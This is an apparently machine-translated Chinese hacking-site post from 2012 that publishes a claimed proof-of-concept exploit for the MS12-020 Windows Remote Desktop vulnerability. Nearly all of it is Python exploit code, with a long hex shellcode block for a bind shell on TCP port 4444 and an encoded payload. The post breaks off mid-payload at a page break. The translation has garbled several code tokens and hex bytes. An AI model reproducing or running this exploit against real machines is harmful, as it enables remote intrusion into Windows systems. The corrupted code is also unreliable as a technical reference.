MS12-0 2 0 PoC RDP MS-vulnerability warning-the black bar safety net

2012-03-15T00:00:00
ID MYHACK58:62201233351
Type myhack58
Reporter 佚名
Modified 2012-03-15T00:00:00

Description

Last night got a can only restart computer EXP, but the mention of the right to say or feasible!

Just on the QQ found that today's MS12-0 2 0 pass the edge of the entire circle!

So I put the MS12-0 2 0 PoC RDP MS published it!

!/ usr/bin/env python

MS12-0 2 0 Exploi

Uses FreeRDP

importstruct

importsys

from freerdp import rdpRdp

from freerdp import crypto

from freerdp. rdpRdpimport rdpNego

bind shellcode to TCP port 4 4 4 4

shellcode ='\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'

shellcode +='\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x 76\x0e\xe9'

shellcode +='\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'

shellcode +='\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'

shellcode +='\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x 76\x30'

shellcode +='\x45\xce\x 76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'

shellcode +='\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'

shellcode +='\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'

shellcode +='\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'

shellcode +='\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'

shellcode +='\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'

shellcode +='\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'

shellcode +='\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'

shellcode +='\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'

shellcode +='\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'

shellcode +='\xbe\xb5\x60\xf9\xbd\x1e\the XE3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'

shellcode +='\x16\x9c\the XE3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'

shellcode +='\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x 76\x5a\x43\xb4\xf4\x84'

shellcode +='\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'

shellcode +='\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\the XE3\xf8'

shellcode +='\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'

shellcode +='\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'

shellcode +='\xba\xb5\x60\x56\x39\x4a\xb6\xa9'

Payload

payload ='\x41\x00\x5c\x00'

payload +='\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'

payload +='\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'

payload +='\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'

payload +='\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'

payload +='\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\69\x6f\x4b\x4f\x39\x6f\x71'

payload +='\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'

payload +='\x4b\x63\x4c\x 76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'

payload +='\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'

payload +='\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'

payload +='\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'

payload +='\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'

payload +='\x75\x6c\x4b\x53\x6f\x 76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'

payload +='\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'

payload +='\x4c\x4e\x6b\x6e\69\x30\x6c\x66\x44\x45\x4c\x30\x61\69\x53\x30'

payload +='\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'

payload +='\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'

payload +='\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'

payload +='\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'

payload +='\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'

payload +='\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'

payload +='\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'

payload +='\x5a\x37\x72\69\x6f\x58\x50\x52\x48\x4e\x39\x 76\69\x4a\x55\x4c'

payload +='\x6d\x32\x77\69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'payload +='\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'

payload +='\x78\x71\x32\x78\x38\x71\x 76\x30\x53\x4b\x39\69\x71\x4d\x45\x33'

payload +='\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'

[1] [2] next